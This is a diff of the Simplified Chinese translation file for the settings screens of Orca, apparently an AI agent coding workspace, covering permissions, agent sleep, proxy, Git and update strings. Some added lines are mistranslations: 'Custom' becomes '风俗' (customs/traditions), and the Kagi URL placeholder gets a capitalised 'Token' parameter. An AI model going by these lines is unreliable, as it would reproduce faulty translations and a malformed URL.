           "2dafc7646e": "托管评审创建默认值",
-          "e9d46a544d": "打开托管评审编辑器时使用的默认值。",
-          "b125eabffa": "提交后在浏览器中打开创建的托管评论。",
+          "e9d46a544d": "打开托管评审编辑器时使用的默认值",
+          "b125eabffa": "提交后在浏览器中打开创建的托管评论",
           "7662715213": "创建后打开托管评审",
-          "b27b0809f3": "编辑器打开时运行一次托管评审详情生成。",
-          "d5f0de6309": "打开 Create PR 时生成详细信息",
-          "6278c0ce43": "当未设置描述时，首选仓库PR模板。",
+          "b27b0809f3": "编辑器打开时运行一次托管评审详情生成",
+          "d5f0de6309": "打开“创建 PR”时生成详细信息",
+          "6278c0ce43": "当未设置描述时，首选存储库 PR 模板",
           "d8b6764d79": "可用时使用评审模板",
-          "e001734396": "除非在编辑器中更改，否则将托管评审创建为草稿。",
+          "e001734396": "除非在编辑器中更改，否则将托管评审创建为草稿",
           "6ba48f07a4": "默认草稿",
           "15b60d54b2": "例如 ollama run llama3.1 {prompt}",
-          "3f1b26cc91": "将提示词输入作为参数传递；否则 Orca 会通过标准输入传递。",
-          "4f722a5f53": "由选择自定义命令的 commit 消息、PR 和分支名称预设使用。使用",
+          "3f1b26cc91": "将提示词输入作为参数传递，否则 Orca 会通过标准输入传递",
+          "4f722a5f53": "由选择自定义命令的提交消息、拉取请求和分支名称配方使用，使用",
           "47e45cbd5a": "自定义命令",
-          "1ef29f8c29": "文本生成预设使用自定义命令时，Orca 运行的命令行。",
-          "2339a89104": "添加 AI 按钮，用于使用该操作的提示词模板运行选定的智能体。",
+          "1ef29f8c29": "文本生成预设使用自定义命令时，Orca 运行的命令行",
+          "2339a89104": "添加 AI 按钮，用于使用该操作的提示词模板运行选定的代理",
           "d5b45a3628": "显示源代码控制 AI 操作",
-          "7bcad2b200": "为源代码管理的 commit、PR、分支命名和修复操作添加操作方案。",
+          "7bcad2b200": "为源代码管理的提交、拉取请求、分支命名和修复操作添加操作方案",
           "d54c64163d": "已启用",
-          "4ec89c319e": "智能体",
+          "4ec89c319e": "代理",
           "34d0348e34": "产生",
           "8cd2be0948": "信息",
           "ca433708cb": "提交",
@@ -7180,10 +7465,10 @@
           "1df7d71313": "二进制",
           "407d28bde6": "命令行",
           "54038660e0": "命令",
-          "25350d670f": "自定义"
+          "25350d670f": "风俗"
         },
         "ComputerUsePane": {
-          "1735461723": "使智能体能够检查和操作本地桌面应用程序。",
+          "1735461723": "使代理能够检查和操作本地桌面应用程序",
           "93255aaf18": "Orca Computer Use 技能",
           "45f8e22c2e": "打开",
           "d95d1cfab8": "刷新",
@@ -7195,73 +7480,73 @@
           "740766c291": "计算机使用设置已完成",
           "697005758f": "打开 macOS 隐私和安全",
           "2168fa5ab0": "无法加载计算机使用权限",
-          "0c9a33f468": "捕获应用程序窗口，以便智能体可以检查视觉状态。",
+          "0c9a33f468": "捕获应用程序窗口，以便代理可以检查视觉状态",
           "07bbe4c4cb": "截图",
-          "4d03dec2d0": "读取应用程序界面树并执行请求的操作。",
-          "6b5a2cd3a5": "辅助功能",
+          "4d03dec2d0": "读取应用程序界面树并执行请求的操作",
+          "6b5a2cd3a5": "无障碍",
           "6b17602073": "重置访问权限",
           "506f2acf7a": "正在重置访问...",
-          "statusGranted": "已授权",
+          "statusGranted": "已授予",
           "statusUnsupported": "仅限 macOS",
           "statusNotEnabled": "未启用",
           "794807aa21": "macOS 隐私与安全性已加入队列；较新的请求或重置可能会替换它"
         },
         "DeveloperPermissionsPane": {
           "4c17304beb": "刷新",
-          "6326a4c5cc": "当 CLI、本地应用程序或自动化工具需要 macOS 隐私访问时，请使用这些控件。 Orca 在启动时不会询问。",
-          "6f011b9bf6": "终端工具继承了 Orca 的 macOS 隐私权限范围。",
+          "6326a4c5cc": "当 CLI、本地应用程序或自动化工具需要 macOS 隐私访问时，请使用这些控件，Orca 在启动时不会询问",
+          "6f011b9bf6": "终端工具继承了 Orca 的 macOS 隐私信封",
           "bfa3402305": "无法请求许可",
           "66e94d6cf3": "已发送权限请求",
           "fa809e8ada": "打开 macOS 隐私和安全",
           "48d87edcd2": "已获得许可",
           "a552887288": "无法加载开发者权限",
-          "4cfaa7e98a": "蓝牙设备工具和本地硬件实验。",
+          "4cfaa7e98a": "蓝牙设备工具和本地硬件实验",
           "b2210b1b4f": "蓝牙",
-          "dfbc12c8c8": "与 USB 设备通信的硬件调试和设备工具。",
-          "f903bf20b5": "允许终端和开发工具连接到本地网络上的服务。macOS 不会向 Orca 提供此权限的当前状态。",
-          "4a73f5217a": "用于控制其他本地应用程序的脚本的 Apple 事件。",
+          "dfbc12c8c8": "与 USB 设备通信的硬件调试和设备工具",
+          "f903bf20b5": "发现和访问网络上的开发服务器",
+          "4a73f5217a": "用于控制其他本地应用程序的脚本的 Apple 事件",
           "e119f0d66b": "自动化",
-          "7ca17b62c8": "当 Orca 运行的智能体读取其他应用的数据时，macOS 会显示 Orca，因为 Orca 是执行终端命令的进程。请为 Orca 授予此权限，以减少此类提示。然后退出并重新打开 Orca。",
+          "7ca17b62c8": "当 Orca 运行的代理读取其他应用的数据时，macOS 会显示 Orca，因为 Orca 是执行终端命令的进程，请为 Orca 授予此权限，以减少此类提示，然后退出并重新打开 Orca",
           "c566bca278": "完全磁盘访问权限",
-          "9f35980756": "击键注入、窗口控制和 UI 自动化工具。",
-          "5b2f22ca2d": "辅助功能",
-          "0639db5496": "屏幕截图、视觉自动化和 UI 检查工具。",
-          "550cfa3750": "网络摄像头捕获和摄像头驱动的本地测试应用程序。",
+          "9f35980756": "击键注入、窗口控制和 UI 自动化工具",
+          "5b2f22ca2d": "无障碍",
+          "0639db5496": "屏幕截图、视觉自动化和 UI 检查工具",
+          "550cfa3750": "网络摄像头捕获和摄像头驱动的本地测试应用程序",
           "e5b5f3d6b9": "相机",
-          "cc8151d9fa": "语音输入、转录、录音、sox、ffmpeg 和 Whisper CLI。",
+          "cc8151d9fa": "语音输入、转录、录音、sox、ffmpeg 和 Whisper CLI",
           "16381e040a": "麦克风",
           "dac08ec03e": "处理中...",
-          "actionRequest": "请求授权",
-          "statusGranted": "已授权",
-          "statusDenied": "被拒绝",
-          "statusNotRequested": "尚未请求",
-          "statusRestricted": "受限制的",
+          "actionRequest": "请求",
+          "statusGranted": "已授予",
+          "statusDenied": "已拒绝",
+          "statusNotRequested": "未请求",
+          "statusRestricted": "受限",
           "statusUnsupported": "仅限 macOS",
-          "statusEntitled": "有权",
+          "statusEntitled": "已授权",
           "statusCheckManually": "手动检查",
           "localNetworkPromptCheck": "检查 macOS 提示",
-          "localNetworkPromptGuidance": "如果出现提示，请选择允许。如果没有出现提示，请打开“系统设置”并在“隐私和安全”→“本地网络”下启用 Orca。",
+          "localNetworkPromptGuidance": "若出现提示请允许，否则在系统设置 → 隐私与安全性 → 本地网络中启用 Orca",
           "localNetworkOpenSettings": "打开系统设置",
           "openSettingsFailed": "无法打开系统设置",
           "localNetworkOpenSystemSettings": "打开系统设置",
           "statusManagedByMacOS": "由 macOS 管理",
-          "connectionTestInvalidTarget": "输入主机名或专用 LAN IP 以及 1 到 65535 之间的端口。",
-          "connectionTestTimeout": "连接超时。检查目标、服务和 macOS 本地网络设置。",
-          "connectionTestRefused": "主机响应，但端口拒绝连接。",
-          "connectionTestUnreachable": "目标无法达到。",
-          "connectionTestUnresolved": "无法解析主机名。",
-          "connectionTestUnsupported": "连接测试可在 macOS 桌面应用程序中进行。",
-          "connectionTestFailed": "连接测试无法完成。",
+          "connectionTestInvalidTarget": "输入主机名或私有局域网 IP，以及 1 到 65535 的端口",
+          "connectionTestTimeout": "连接超时，请检查目标、服务和 macOS 本地网络设置",
+          "connectionTestRefused": "主机有响应，但端口拒绝了连接",
+          "connectionTestUnreachable": "无法访问目标",
+          "connectionTestUnresolved": "无法解析主机名",
+          "connectionTestUnsupported": "连接测试仅在 macOS 桌面应用中可用",
+          "connectionTestFailed": "连接测试未能完成",
           "connectionTestTitle": "测试连接",
-          "connectionTestDescription": "输入本地网络上另一台设备上的服务。 Orca 测试终端工具使用的相同网络路径。",
-          "connectionTestLastVerified": "最后验证",
-          "connectionTestNotYetVerified": "未保存成功的测试。",
+          "connectionTestDescription": "输入局域网中另一台设备上的服务，Orca 会测试终端工具使用的同一网络路径",
+          "connectionTestLastVerified": "上次验证",
+          "connectionTestNotYetVerified": "尚未保存成功的测试",
           "connectionTestHost": "主机",
           "connectionTestPort": "端口",
-          "connectionTestRunning": "测试...",
+          "connectionTestRunning": "正在测试...",
           "appStatus": "应用： ",
           "terminalHostStatus": "终端主机： ",
-          "terminalHostRecovery": "如果终端无法读取受保护的文件，请保存其工作并在终端 → 管理会话中将其关闭。如果新终端也受到影响，请重新启动守护进程；重新启动会关闭其当前终端。",
+          "terminalHostRecovery": "如果终端无法读取受保护的文件，请保存其工作并在终端 → 管理会话中将其关闭，如果新终端也受到影响，请重新启动守护进程，重新启动会关闭其当前终端",
           "28350e590b": "触发提示",
           "e2596159f6": "请求访问权限",
           "78b1e0b9d4": "局域网",
@@ -7271,24 +7556,24 @@
           "515baa0f5c": "屏幕录制"
         },
         "ExperimentalPane": {
-          "a20d5ea365": "在终端响铃或智能体完成事件后保持窗格级突出显示可见，直到您与该窗格交互。我们在调整信号时进行实验。",
+          "a20d5ea365": "在终端响铃或代理完成事件后保持窗格级突出显示可见，直到您与该窗格交互，我们在调整信号时进行实验",
           "ec897e8d89": "终端关注",
-          "88b7613afb": "终端响铃和智能体完成事件的持久窗格突出显示。",
-          "ca2219fe5e": "显示固定在右下角的小动画宠物。从状态栏宠物菜单中选择一个角色（Claudino、OpenCode、Gremlin）或上传您自己的 PNG、APNG、GIF、WebP、JPG 或 SVG。随时从同一菜单隐藏它，而不禁用此设置。",
+          "88b7613afb": "终端响铃和代理完成事件的持久窗格突出显示",
+          "ca2219fe5e": "右下角显示小动画宠物，可在状态栏菜单选择角色或上传图片，也可随时隐藏",
           "dd6f0a1d45": "宠物",
-          "0e89a574ae": "右下角漂浮的动画宠物。",
+          "0e89a574ae": "右下角漂浮的动画宠物",
           "agentHibernation": {
-            "copy": "在配置的空闲时间后停止后台智能体终端，并在你再次打开时恢复受支持的会话。智能体睡眠会保留由 Orca 启动的智能体的启动选项。手动启动的智能体可能会使用当前的 Orca 默认值恢复。我们仍在调校安全模型，此功能为实验性功能。",
-            "description": "在配置的空闲时间后停止后台智能体终端，并在你再次打开时恢复受支持的会话。",
-            "idleMinutesDescription": "已完成的后台智能体在 Orca 可以将其睡眠前需要等待的空闲分钟数。",
+            "copy": "空闲超时后休眠后台代理终端，重新打开时恢复会话，Orca 启动的代理保留原启动选项，手动启动的代理可能按当前默认值恢复，实验性功能，安全模型仍在调校",
+            "description": "在配置的空闲时间后停止后台代理终端，并在你再次打开时恢复受支持的会话",
+            "idleMinutesDescription": "已完成的后台代理在 Orca 可以将其睡眠前需要等待的空闲分钟数",
             "idleMinutesLabel": "睡眠等待时间",
             "idleMinutesSuffix": "分钟",
-            "title": "智能体睡眠",
-            "toggleLabel": "切换智能体睡眠"
+            "title": "代理睡眠",
+            "toggleLabel": "切换代理睡眠"
           },
           "newWorktreeCardStyle": {
-            "copy": "预览更新后的 worktree 卡片布局、元数据位置、卡片显示菜单选项和状态呈现。",
-            "description": "预览更新后的 worktree 卡片布局、元数据位置、卡片显示菜单选项和状态呈现。",
+            "copy": "预览更新后的工作树卡片布局、元数据位置、卡片显示菜单选项和状态呈现",
+            "description": "预览更新后的工作树卡片布局、元数据位置、卡片显示菜单选项和状态呈现",
             "title": "新卡片样式",
             "toggleLabel": "切换新卡片样式"
           },
@@ -7297,37 +7582,33 @@
             "shellEnvNamePlaceholder": "变量名",
             "shellEnvNameAdd": "添加",
             "shellEnvNameRemove": "删除 {{value0}}",
-            "shellEnvNamesEmpty": "尚未添加任何变量。",
-            "shellEnvNamesAlwaysPassed": "PATH、区域设置和 SSH_AUTH_SOCK 始终会传递。在下次聊天开始或恢复时生效。",
+            "shellEnvNamesEmpty": "尚未添加任何变量",
+            "shellEnvNamesAlwaysPassed": "PATH、区域设置和 SSH_AUTH_SOCK 始终会传递，在下次聊天开始或恢复时生效",
             "shellEnvTitle": "使用 shell 环境",
-            "shellEnvCopy": "Codex 和 Claude 聊天启动时会带上登录 shell 导出的所有变量，与终端一致。关闭后可选择传递哪些变量。",
+            "shellEnvCopy": "Codex 和 Claude 聊天启动时会带上登录 shell 导出的所有变量，与终端一致，关闭后可选择传递哪些变量",
             "shellEnvToggleLabel": "切换使用 shell 环境",
-            "resumeTitle": "重启后自动恢复工作聊天",
-            "resumeCopy": "当 Orca 退出或安装更新时，重新打开 Orca 后，正在工作的聊天会自动恢复。",
-            "resumeToggleLabel": "重启后切换自动恢复"
+            "resumeTitle": "重启后自动重新连接进行中的聊天",
+            "resumeCopy": "Orca 退出或安装更新时，进行到一半的聊天会在下次启动时再次提供恢复选项，开启后，Orca 会直接重新连接而不再询问，并在完成后通知你——效果与在该提示中勾选“不再询问”相同，关闭后，每次都由你从列表中选择，重新连接会将聊天恢复到中断位置，但不会继续生成被中断的回复",
+            "resumeToggleLabel": "切换重启后自动重新连接"
           },
           "agentDashboard": {
-            "title": "智能体仪表盘",
-            "description": "用于监控跨工作树的智能体的看板，支持窗口内或弹出窗口显示。",
-            "copy": "在左侧边栏添加智能体仪表盘入口。监控需要你处理、正在工作或已完成的智能体，并可选择显示空闲智能体。",
-            "toggleLabel": "切换智能体仪表盘",
+            "title": "代理仪表盘",
+            "description": "用于监控跨工作树的代理的看板，支持窗口内或弹出窗口显示",
+            "copy": "在左侧边栏添加代理仪表盘入口，监控需要你处理、正在工作或已完成的代理，并可选择显示空闲代理",
+            "toggleLabel": "切换代理仪表盘",
             "modeLabel": "打开方式",
-            "modeCopy": "将仪表盘显示为侧边栏旁的窗口内看板，或单独的弹出窗口。",
-            "modeAriaLabel": "智能体仪表盘打开模式",
+            "modeCopy": "将仪表盘显示为侧边栏旁的窗口内看板，或单独的弹出窗口",
+            "modeAriaLabel": "代理仪表盘打开模式",
             "modeInWindow": "窗口内",
             "modePopout": "弹出窗口"
-          },
-          "browserExtensions": {
-            "copy": "为本地浏览器配置文件添加“设置 › 浏览器 › 扩展程序”。",
-            "toggleLabel": "切换浏览器扩展程序"
           }
         },
         "FloatingWorkspacePane": {
-          "3c900e26e5": "无论切换显示在何处，键盘快捷键都有效。",
+          "3c900e26e5": "无论切换显示在何处，键盘快捷键都有效",
           "505001823e": "选择浮动工作区目录",
-          "81afb79785": "新的浮动终端选项卡从这里开始。 Markdown 笔记保存在 Orca 应用程序拥有的浮动工作区中。",
-          "41eb95f7f0": "显示浮动工作区按钮和面板。",
-          "37df688d6f": "启用浮动工作区并选择新选项卡的开始位置。",
+          "81afb79785": "新浮动终端标签页从此开始，Markdown 笔记保存在 Orca 浮动工作区",
+          "41eb95f7f0": "显示浮动工作区按钮和面板",
+          "37df688d6f": "启用浮动工作区并选择新选项卡的开始位置",
           "172d1d75c3": "启用浮动工作区",
           "2374e81dd8": "浮动工作区",
           "73ac917638": "浮动按钮",
@@ -7338,38 +7619,38 @@
         "AgentCacheTimerSection": {
           "05de84a104": "1小时",
           "54395ecd7c": "5分钟",
-          "8b9e202e0a": "将此与您的提供商的缓存 TTL 相匹配。默认值为 5 分钟。",
-          "487b176240": "Claude 智能体空闲后，在侧边栏中显示倒计时。",
-          "9c20253679": "在 Claude 智能体空闲后显示倒计时。",
-          "fe590653c1": "Claude 会缓存对话以降低成本。空闲过久后缓存会过期，下一条消息将以更高成本重新发送完整上下文。此倒计时可帮助您了解何时继续。",
-          "80c454e8a6": "将此与您的提供商的缓存 TTL 相匹配。",
+          "8b9e202e0a": "将此与您的提供商的缓存 TTL 相匹配，默认值为 5 分钟",
+          "487b176240": "Claude 代理空闲后，在侧边栏中显示倒计时",
+          "9c20253679": "在 Claude 代理空闲后显示倒计时",
+          "fe590653c1": "Claude 会缓存对话以降低成本，空闲过久后缓存过期，下一条消息成本更高，此倒计时提示何时继续",
+          "80c454e8a6": "将此与您的提供商的缓存 TTL 相匹配",
           "915265188a": "提示缓存定时器",
           "988e060497": "缓存定时器",
           "eec81ddfee": "定时器持续时间"
         },
         "GeneralEditorSettingsSection": {
-          "f80603d293": "在所有 Markdown 视图中显示 Markdown 笔记控件，并在智能体交接操作中包含这些笔记。",
-          "5f02e6fb21": "在 Markdown 文件中显示本地 Markdown 评审笔记控件。",
-          "51161d1647": "编辑文件时显示小地图概述。",
+          "f80603d293": "在所有 Markdown 视图中显示 Markdown 注释控件，并在智能体切换操作中包含这些注释",
+          "5f02e6fb21": "在 Markdown 文件中显示本地 Markdown 评审笔记控件",
+          "51161d1647": "编辑文件时显示小地图概述",
           "6690b1ffb9": "小地图",
           "5a1ea6eaa2": "隐藏",
           "73a09aad63": "显示",
-          "1b87897af9": "打开组合差异视图时显示或隐藏文件树。",
+          "1b87897af9": "打开组合差异视图时显示或隐藏文件树",
           "12cbc0d0d6": "并排",
           "05b6df93b3": "内联",
-          "b492397d34": "默认情况下显示 git diff 的首选演示格式。",
+          "b492397d34": "默认情况下显示 git diff 的首选演示格式",
           "a5db1d3975": "ms",
-          "fc5c5306ff": "ms。",
-          "8112cd6dcf": "Orca 在您上次编辑后等待多长时间才会自动保存。首次启动默认为",
-          "1bec6d8318": "Orca 在您上次编辑后等待多长时间才会自动保存。",
+          "fc5c5306ff": "ms",
+          "8112cd6dcf": "上次编辑后等待多久再自动保存，首次启动默认为",
+          "1bec6d8318": "Orca 在您上次编辑后等待多长时间才会自动保存",
           "45c6e85c4d": "编辑",
-          "4aa4d9fb73": "在差异编辑器中换行显示长行，而不是要求水平滚动。",
+          "4aa4d9fb73": "在差异编辑器中换行显示长行，而不是要求水平滚动",
           "bf16ef0af2": "关闭",
           "3f6892f307": "开启",
-          "5195f0b9ef": "在编辑富 Markdown 时显示浏览器拼写下划线和建议。",
-          "9b18de6eea": "在文件编辑器中自动换行长行，而无需水平滚动。",
-          "94a479cef3": "显示差异中前导和尾随空白的差异。",
-          "collapseUnchangedDescription": "在文件差异中仅显示更改的行和一些周围的上下文，将其余部分隐藏在可扩展带后面。查看所有更改差异总是以这种方式折叠。",
+          "5195f0b9ef": "在编辑富 Markdown 时显示浏览器拼写下划线和建议",
+          "9b18de6eea": "在文件编辑器中自动换行长行，而无需水平滚动",
+          "94a479cef3": "显示差异中行首和行尾空白字符的区别",
+          "collapseUnchangedDescription": "在文件差异中仅显示更改行和少量上下文，其余内容隐藏在可展开区域中，“查看所有更改”差异始终采用此方式折叠",
           "a37865966c": "自动保存文件",
           "8b3f8e6b83": "Markdown 评审笔记",
           "89ba15b474": "自动保存延迟",
@@ -7382,60 +7663,60 @@
           "6f33c2a32f": "差异自动换行"
         },
         "AdvancedNetworkSettingsSection": {
-          "3e431564b5": "本地主机，127.0.0.1，*.internal",
-          "33ee3ca3af": "可选。用逗号、分号或换行符分隔主机。",
-          "0adfce9fa7": "支持http、https、socks、socks4 和socks5 URL。",
+          "3e431564b5": "localhost, 127.0.0.1, *.internal",
+          "33ee3ca3af": "可选，用逗号、分号或换行符分隔主机",
+          "0adfce9fa7": "支持HTTP、HTTP(s)、SOCKS、SOCKS5 和SOCKS5h",
           "476f302aca": "http://proxy.example.com:8080",
-          "1e214e265a": "留空以使用系统代理设置和继承的代理环境变量。",
-          "823e0f15b1": "用于 Orca 网络请求和本地终端子进程的代理 URL。",
+          "1e214e265a": "留空以使用系统代理设置和继承的代理环境变量",
+          "823e0f15b1": "用于 Orca 网络请求和本地终端子进程的代理 URL",
           "c46cdbbd4e": "网络",
           "configureProxy": "配置代理",
           "nodeDistMirrorPlaceholder": "https://mirror.example.com/nodejs/dist",
-          "nodeDistMirrorDescription": "可选。Orca 在 SSH 和 WSL 服务器上安装 Node 时优先使用此 nodejs.org/dist 镜像。每个文件仍会根据 Orca 预期的发布版本进行校验。",
+          "nodeDistMirrorDescription": "可选，nodejs.org/dist 的镜像副本，Orca 在 SSH 和 WSL 服务器上安装 Node 时会优先使用，每个文件仍会按 Orca 预期的发行版本进行校验",
           "nodeDistMirrorLabel": "Node.js 下载镜像",
           "f8ec545b7c": "HTTP 代理",
           "abbc3efa4a": "代理绕过规则"
         },
         "GeneralPane": {
           "5cb5475664": "关闭固定标签页前确认",
-          "editor_preview_tabs": "浏览文件时重复使用预览选项卡",
+          "editor_preview_tabs": "浏览文件时复用预览标签页",
           "confirm_running_work_close": "关闭活动聊天或终端前确认"
         },
         "GeneralSupportSection": {
           "af7d9f4396": "感谢您的支持！",
-          "6922c1fa2b": "GitHub 上的 Star Orca",
-          "511782265b": "通过 GitHub star 支持该项目。",
+          "6922c1fa2b": "点击 Orca Star 支持项目",
+          "511782265b": "通过 GitHub star 支持该项目",
           "55a87e5fd1": "支持 Orca",
           "964acc6bb4": "加星标",
-          "397719bee5": "正在加星标...",
+          "397719bee5": "正在Star…",
           "cb65c75b11": "正在打开...",
           "f2d4f877b2": "打开 GitHub"
         },
         "GeneralUpdateSettingsSection": {
           "8a52ca1d02": "发行说明",
-          "d89806cc89": "已准备好安装。",
+          "d89806cc89": "已准备好安装",
           "a6b37929dc": "版本",
-          "8311da27ba": "可用。单击“安装更新”下载并安装它。",
-          "02dc082e70": "无法开始更新下载。",
-          "ceb579abaf": "检查应用程序更新并安装较新的 Orca 版本。",
-          "bd79d412f0": "更新检查失败。 {{value0}}",
-          "b9ad70c30d": "更新错误。 {{value0}}",
+          "8311da27ba": "可用! 单击\"安装更新\"下载并安装它",
+          "02dc082e70": "无法开始更新下载",
+          "ceb579abaf": "检查应用程序更新并安装较新的 Orca 版本",
+          "bd79d412f0": "更新检查失败，{{value0}}",
+          "b9ad70c30d": "更新错误，{{value0}}",
           "2a48034c4c": "正在下载 v{{value0}}... {{value1}}%",
-          "f40d88390d": "您使用的是最新版本。",
+          "f40d88390d": "您使用的是最新版本",
           "31fd7150cf": "正在检查更新...",
-          "d69a09b672": "启动时会自动检查更新。",
-          "e3b9d21c07": "可用。通过系统包管理器更新 Orca — Orca 无法自行安装此版本。",
+          "d69a09b672": "启动时会自动检查更新",
+          "e3b9d21c07": "现已可用，请通过系统包管理器更新 Orca——Orca 无法自行安装此版本",
           "6d27bd46e3": "检查更新",
           "857ca887da": "安装更新（",
           "c0a8f827c7": "重新启动以更新（"
         },
         "GeneralWorkspaceSettingsSection": {
-          "3d538a98f7": "从工作区的“打开方式”菜单中选择可用的应用程序。",
-          "4fbf910ded": "在以仓库命名的子文件夹内创建工作区。",
-          "a246f5ce6f": "创建工作区文件夹的根目录。",
+          "3d538a98f7": "从工作区的\"打开方式\"菜单中选择可用的应用程序",
+          "4fbf910ded": "在以仓库命名的子文件夹内创建工作区",
+          "a246f5ce6f": "创建工作区文件夹的根目录",
           "5567191a6e": "浏览",
           "externalWorktrees": "外部工作树",
-          "externalWorktreesDescription": "选择此主机上默认显示哪些在 Orca 外部创建的工作树。",
+          "externalWorktreesDescription": "选择此主机上默认显示哪些在 Orca 外部创建的工作树",
           "ad65d146f6": "在应用程序中打开",
           "2ffd7c4fc8": "删除工件之前询问",
           "a8ce626e4b": "嵌套工作区",
@@ -7447,11 +7728,11 @@
           "f96688b6bc": "取消",
           "b7ddae600c": "完成",
           "b58d4c9051": "不支持的按键",
-          "674b5ccd6b": "无需导入新设置 — 您当前设置已经匹配。",
+          "674b5ccd6b": "无需导入新设置 — 您当前设置已经匹配",
           "a4c5dec640": "要更新的设置",
           "4466f4cdaa": "导入完成",
           "023a52c1f7": "正在加载预览...",
-          "2763b0c045": "查看将从 Ghostty 配置导入的设置。",
+          "2763b0c045": "查看将从 Ghostty 配置导入的设置",
           "d2f33670a9": "从Ghostty导入",
           "273e7e81fe": "配置",
           "1f744a72f4": "配置",
@@ -7465,30 +7746,30 @@
         "GitPane": {
           "895d3f70b8": "gh",
           "32dca11189": "github",
-          "c4f610d057": "当前 GitLab CLI REST 速率限制标头（如果可用）。",
+          "c4f610d057": "当前 GitLab CLI REST 速率限制标头(如果可用)",
           "cdd793134e": "API预算",
           "b9c011fbc2": "速率限制",
           "3072428ac7": "光亮的",
           "8a527d48e3": "GitLab",
-          "aa204f185f": "当前 GitHub CLI REST、搜索和 GraphQL 速率限制。",
+          "aa204f185f": "当前 GitHub CLI REST、搜索和 GraphQL 速率限制",
           "2cde9044a8": "graphql",
-          "1ec5c91e1d": "选择分支名称是使用您的 Git 用户名、自定义前缀还是不使用前缀。",
-          "1ffaadf0a0": "创建工作树时添加到分支名称的前缀。",
-          "813e15b346": "自定义",
+          "1ec5c91e1d": "选择分支名称是使用您的 Git 用户名、自定义前缀还是不使用前缀",
+          "1ffaadf0a0": "创建工作树时添加到分支名称的前缀",
+          "813e15b346": "风俗",
           "2351aa5a31": "git 用户名",
           "cc63fce906": "分支命名",
           "b559bf9899": "例如 feature",
           "aefa1ecb59": "没有配置 git 用户名",
           "3d172725cc": "没有任何",
           "1f32ba27a6": "自定义",
-          "sourceControlGroupOrderDescription": "选择在源代码管理中优先显示“已暂存更改”还是“更改”。",
+          "sourceControlGroupOrderDescription": "选择在源代码管理中优先显示“已暂存更改”还是“更改”",
           "changesFirst": "更改优先",
           "stagedFirst": "已暂存优先",
-          "compareAgainstUpstreamDescription": "选择源代码管理在比较已提交变更时默认使用的基准。分支上游会自动跟随当前分支；如果没有上游，则回退到仓库默认分支。你仍然可以在对应 worktree 的 Git 面板中按 worktree 更改对比基准。Pull Request 和变基目标不会改变。",
+          "compareAgainstUpstreamDescription": "选择源代码管理比较已提交更改时的默认基准，没有上游时回退到仓库默认分支，仍可在各工作树的 Git 面板中单独更改",
           "compareBaseRepositoryDefault": "仓库默认",
           "compareBaseBranchUpstream": "分支上游",
-          "refreshLocalBaseDescription": "创建工作区时，Orca 会刷新远程基准分支，并安全地快进对应的本地分支，例如 <mainBranch>main</mainBranch> 或 <masterBranch>master</masterBranch>。这样可以避免 <diffCommand>git diff main...HEAD</diffCommand> 等命令与过时的历史记录进行比较。如果该分支有未提交的更改或仅在本地的提交，Orca 会跳过更新。",
-          "jiraIssueKeyCasingDescription": "Orca 为新的 Jira 关联工作区建议的工作区和分支名称中 Jira 议题键的大小写，例如使用 PROJ-123-fix-login 而非 proj-123-fix-login。现有工作区和你输入的名称绝不会更改。",
+          "refreshLocalBaseDescription": "创建工作区时，Orca 会刷新远程基准分支，并安全地快进对应的本地分支，例如 <mainBranch>main</mainBranch> 或 <masterBranch>master</masterBranch>，这样可以避免 <diffCommand>git diff main...HEAD</diffCommand> 等命令与过时的历史记录进行比较，如果该分支有未提交的更改或仅在本地的提交，Orca 会跳过更新",
+          "jiraIssueKeyCasingDescription": "Orca 为新的 Jira 关联工作区建议的工作区和分支名称中 Jira 议题键的大小写，例如使用 PROJ-123-fix-login 而非 proj-123-fix-login，现有工作区和你输入的名称绝不会更改",
           "jiraIssueKeyCasingLowercase": "小写",
           "jiraIssueKeyCasingPreserve": "大写键",
           "d12c81a103": "git用户名",
@@ -7500,37 +7781,37 @@
           "074f7aa0d6": "默认对比基准"
         },
         "HiddenExperimentalGroup": {
-          "7c4e18d2f6": "在本机启用粗体故障捕获手势：{{samplingShortcut}} 开始采样突发；{{captureShortcut}} 将窗格证据捕获到磁盘。",
+          "7c4e18d2f6": "在本机启用粗体故障捕获手势：{{samplingShortcut}} 开始采样突发，{{captureShortcut}} 将窗格证据捕获到磁盘",
           "b09f24a51d": "终端渲染诊断",
           "f2c81d904a": "隐藏实验设置"
         },
         "InputPane": {
-          "db15068196": "在 Linux 和 macOS 上默认启用。 Linux使用系统选择剪贴板；其他平台使用私有缓冲区。",
+          "db15068196": "Linux / macOS 默认启用，Linux 用系统选择剪贴板，其他平台用私有缓冲",
           "dc26974909": "单击鼠标中键从所选内容粘贴"
         },
         "IntegrationsPane": {
-          "3ba07f933b": "连接 Orca 可用于浏览任务并启动带链接上下文工作区的议题追踪器。",
+          "3ba07f933b": "连接 Orca 可用于浏览任务并启动带链接上下文工作区的议题追踪器",
           "70e885705b": "任务提供商",
-          "1683acbac4": "连接 Orca 可用于 pull request、merge request、检查和评审状态的源代码主机。",
+          "1683acbac4": "连接 Orca 可用于拉取请求、合并请求、检查和评审状态的源代码主机",
           "298c65ecac": "评审提供商"
         },
         "KagiSessionLinkForm": {
           "92f0b4e472": "清除",
-          "9f741627a7": "Kagi 会话链接已清除。",
+          "9f741627a7": "Kagi 会话链接已清除",
           "d5c8b94c5b": "保存",
           "ff450194cd": "Kagi 私密会话链接",
-          "e383683485": "https://kagi.com/search?token=...",
-          "81409d9362": "Kagi 身份验证的可选私人会话链接。",
-          "3e5b7c6c25": "Kagi 会话链接已保存。",
-          "0911d5fa4c": "输入来自 https://kagi.com/search?token=... 的 Kagi 私人会话链接"
+          "e383683485": "https://kagi.com/search?Token=...",
+          "81409d9362": "Kagi 身份验证的可选私人会话链接",
+          "3e5b7c6c25": "Kagi 会话链接已保存",
+          "0911d5fa4c": "输入来自 https://kagi.com/search?Token=... 的 Kagi 私人会话链接"
         },
         "KeybindingsFileActions": {
           "9e24c0e858": "在 Cursor 中打开",
           "1637f64033": "在 VS Code 中打开",
           "400397a10d": "打开键绑定文件菜单",
-          "c5886a31cc": "无法打开外部编辑器。",
-          "cdf794f46d": "键绑定文件不可用。",
-          "dd532a01ce": "无法在 Orca 中打开键绑定。",
+          "c5886a31cc": "无法打开外部编辑器",
+          "cdf794f46d": "键绑定文件不可用",
+          "dd532a01ce": "无法在 Orca 中打开键绑定",
           "ad58206841": "在 Orca 中编辑文件",
           "c322555264": "在文件管理器中显示",
           "5b639aea5c": "从磁盘重新加载",
@@ -7538,7 +7819,7 @@
         },
         "ManageSessionKillDialog": {
           "6bf4627168": "取消",
-          "ad9832aa26": "。该面板中未保存的工作将丢失。此操作无法撤销。",
